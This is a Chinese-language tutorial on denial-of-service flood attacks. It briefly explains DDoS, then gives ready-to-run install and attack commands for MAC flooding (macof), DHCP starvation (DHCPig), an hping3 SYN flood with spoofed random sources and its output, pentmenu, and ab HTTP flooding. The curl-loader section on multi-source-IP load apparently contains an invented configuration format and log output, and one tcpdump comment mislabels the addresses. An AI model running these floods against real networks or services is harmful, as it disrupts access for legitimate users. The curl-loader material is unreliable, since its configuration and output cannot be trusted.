03_Dos 泛洪攻击
一、DDOS介绍
Distributed Denial of Service,DDoS,分布式拒绝服务攻击是从多个来源,彼此协同进行的拒绝服务攻击。这个名称包含了两层含义:首先,它是一种“拒绝服务”攻击;其次,它是一种“分布式”攻击。
什么是“拒绝服务”(Denial of Service,DoS)呢?可以这样认为,凡是导致合法用户不能访问服务的行为,就是“拒绝服务”攻击。最典型的例子是造成一个公开的网站无法访问。攻击者使用的方法通常很简单,就是不断提出服务请求,使服务提供方疲于应付,直到合法用户的请求来不及得到处理。
但是,大型企业或组织往往具有较强的服务提供能力,足以处理单个攻击者发起的所有请求。于是,攻击者会组织很多协作的同伴(或计算机),从不同的位置同时提出服务请求,直到服务无法被访问。这就是“分布式”。现实中,攻击者往往没有那么多同伴,所以,他们通常利用所谓的“僵尸网络”来控制大量计算机进行攻击。
拒绝服务攻击(英语:denial-of-service attack,简称DoS攻击),是一种网络攻击手法,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
当黑客使用网络上两个或以上电脑向特定的目标发动“拒绝服务”式攻击时,称为分布式拒绝服务攻击(distributed denial-of-service attack,简称DDoS攻击)亦称洪水攻击,意在使阻止攻击变得更加困难。据2014年统计,被确认为大规模DDoS的攻击已达平均每小时28次。DDoS发起者一般针对重要服务和知名网站进行攻击,如银行、信用卡支付网关、甚至根域名服务器等。
DoS也常见于部分网络游戏,被心怀不满的玩家或是竞争对手广泛使用。DoS也常被用于抗议,自由软件基金会创办人理查德·斯托曼曾表示,DoS是“网络街头抗议”的一种形式。
攻击者不是疯子,每次攻击都会有明确的目的,以及对成本和收益的考虑;
二、DDoS攻击种类
2.1 流量型攻击MAC/ICMP/UDP/DHCP Flood
2.1.1 mac地址表泛洪攻击
软件:macof
功能:MAC flood(攻击)
插件:scapy
步骤1:
-
解压scapy-master.zip并进入解压目录
-
执行安装命令:
python setup.py install -
下载macof软件:
http://github.com/WhiteWinterWolf/macof.py
步骤2:
运行攻击命令:
python macof.py -i eth0
2.1.3 DHCP 泛洪攻击
软件:DHCPig
功能:DHCP flood攻击
插件:scapy
步骤1:
-
下载scapy:
https://github.com/seve/scapy -
解压并安装:
unzip scapy-master.zip cd scapy-master python setup.py install
步骤2:
-
下载DHCPig:
https://github.com/kamorin/DHCPig -
解压并安装:
unzip dhcpg-master.zip cd dhcpg-master python setup.py install
步骤3:
使用方法:
python pig.py eth0
2.2 连接型攻击SYN
2.2.1 hping SYN压力测试
Hping3是一个命令行下使用的TCP/IP数据包组装/分析工具,通常web服务会用来做压力测试使用,也可以进行DOS攻击的实验。
root@attack:~# hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.2.254
HPING 192.168.2.254 (eth1 192.168.2.254): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.2.254 hping statistic ---
3115981 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
-c 1000 = 发送的数据包的数量。
-d 120 = 发送到目标机器的每个数据包的大小。单位是字节
-S = 只发送SYN数据包。
-w 64 = TCP窗口大小。
-p 80 = 目的地端口。
--flood = 尽可能快地发送数据包,不需要考虑显示入站回复。洪水攻击模式。
--rand-source = 使用随机性的源头IP地址。这里的伪造的IP地址,只是在局域中伪造。通过路由器后,还会还原成真实的IP地址。

2.2.2 pentmenu工具使用步骤
2.3.2.1 软件下载地址
git clone https://github.com/GinjaChris/pentmenu
2.3.2.2 使用
cd pentmenu
执行./pentmenu
2.3 应用层攻击HTTP Flood
2.3.1 压力测试ab
软件:ab
功能:CC攻击与网页压力测试(Kali Linux基本自带工具)
参数说明:
-n:在测试会话中所执行的请求个数(默认仅执行一个请求)-c:一次产生的请求个数(默认一次一个)-t:测试所进行的最大秒数
示例命令:
ab -c 10 -n 100 http://x.x.x.x
2.4 压力测试 curl-loader 工具
2.4.1 系统要求
- CentOS 8/9(推荐 CentOS Stream 9)
- root 权限(或使用
sudo) - 网络连通(需访问 GitHub 下载源码)
2.4.2 安装依赖
curl-loader 依赖 libcurl、gcc、make 等工具,需先安装:
sudo dnf update -y
sudo dnf install -y gcc make libcurl-devel pcre-devel openssl-devel zlib-devel
2.4.3 下载源码安装 curl-loader
从 GitHub 仓库获取最新稳定版:
git clone https://github.com/tatsuhiro-t/curl-loader.git
cd curl-loader
2.4.4 编译安装
make && sudo make install
- 若提示
make: command not found,说明未安装make,需通过sudo dnf install -y make安装。 - 编译时间约 1-3 分钟(取决于 CPU 性能)。
2.4.5 验证安装
curl-loader --version
# 输出类似:curl-loader 0.13.1 (built with libcurl 7.88.1)
2.4.6 服务器多 IP 配置
假设服务器已绑定多个公网 IP(如 123.45.67.89 和 98.76.54.32),需确保:
-
网络接口(如
eth0 -
已配置多个 IP 别名:
# 查看当前 IP(示例) ip addr show eth0 # 输出应包含多个 inet 地址(如 123.45.67.89/24 和 98.76.54.32/24) # 若未配置,手动添加别名(临时生效) sudo ip addr add 98.76.54.32/24 dev eth0 -
防火墙开放目标端口(如 HTTP 80/HTTPS 443):
sudo firewall-cmd --add-port=80/tcp --permanent sudo firewall-cmd --add-port=443/tcp --permanent sudo firewall-cmd --reload
2.4.7 编写多 IP 测试配置文件
创建 multi_ip_test.conf,指定不同源 IP 访问不同目标 URL:
######## GLOBAL SETTINGS ########
connections_total = 100 # 总请求数(每个 IP 分配 50 次)
rate = 20 # 每秒并发数
duration = 30s # 测试时长
######## MULTI-IP CONFIG ########
# 定义两个源 IP(需与服务器公网 IP 一致)
source_ip_1 = "123.45.67.89"
source_ip_2 = "98.76.54.32"
######## TARGET CONFIG ########
# 目标 1:使用源 IP 1 访问
[target1]
type = "sequence"
request = "GET / HTTP/1.1"
header = "Host: example.com"
source_ip = "$source_ip_1" # 绑定源 IP 1
# 目标 2:使用源 IP 2 访问
[target2]
type = "sequence"
request = "GET /api HTTP/1.1"
header = "Host: api.example.com"
source_ip = "$source_ip_2" # 绑定源 IP 2
######## SERVER CONFIG ########
[server]
host = "example.com" # 目标服务器域名或 IP
port = 80 # 目标端口
protocol = "http"
2.4.8 关键参数说明
| 参数 | 作用 |
|---|---|
source_ip |
指定当前请求使用的源 IP(需与服务器公网 IP 一致) |
connections_total |
总请求数(可结合 rate 控制并发) |
duration |
测试持续时间(避免无限运行) |
2.4.9 运行测试
sudo curl-loader -f multi_ip_test.conf
2.4.10 验证多 IP 访问
(1)查看测试日志
测试过程中,curl-loader 会输出每个请求的源 IP 和目标响应:
[INFO] Using source IP 123.45.67.89 for target example.com:80
[INFO] Request 1/100: GET / HTTP/1.1 → 200 OK (IP: 123.45.67.89)
...
[INFO] Using source IP 98.76.54.32 for target api.example.com:80
[INFO] Request 51/100: GET /api HTTP/1.1 → 200 OK (IP: 98.76.54.32)
(2)目标服务器端验证
在目标服务器(如 example.com)上查看访问日志,确认请求来源 IP:
# 以 Nginx 为例,查看 access.log
tail -f /var/log/nginx/access.log
# 输出应包含:
# 123.45.67.89 - - [时间] "GET / HTTP/1.1" 200 ...
# 98.76.54.32 - - [时间] "GET /api HTTP/1.1" 200 ...
(3)使用 tcpdump 抓包验证
在服务器上抓包,确认源 IP 正确:
sudo tcpdump -i eth0 'port 80' -n
# 输出应显示目标 IP 为 123.45.67.89 或 98.76.54.32

浙公网安备 33010602011771号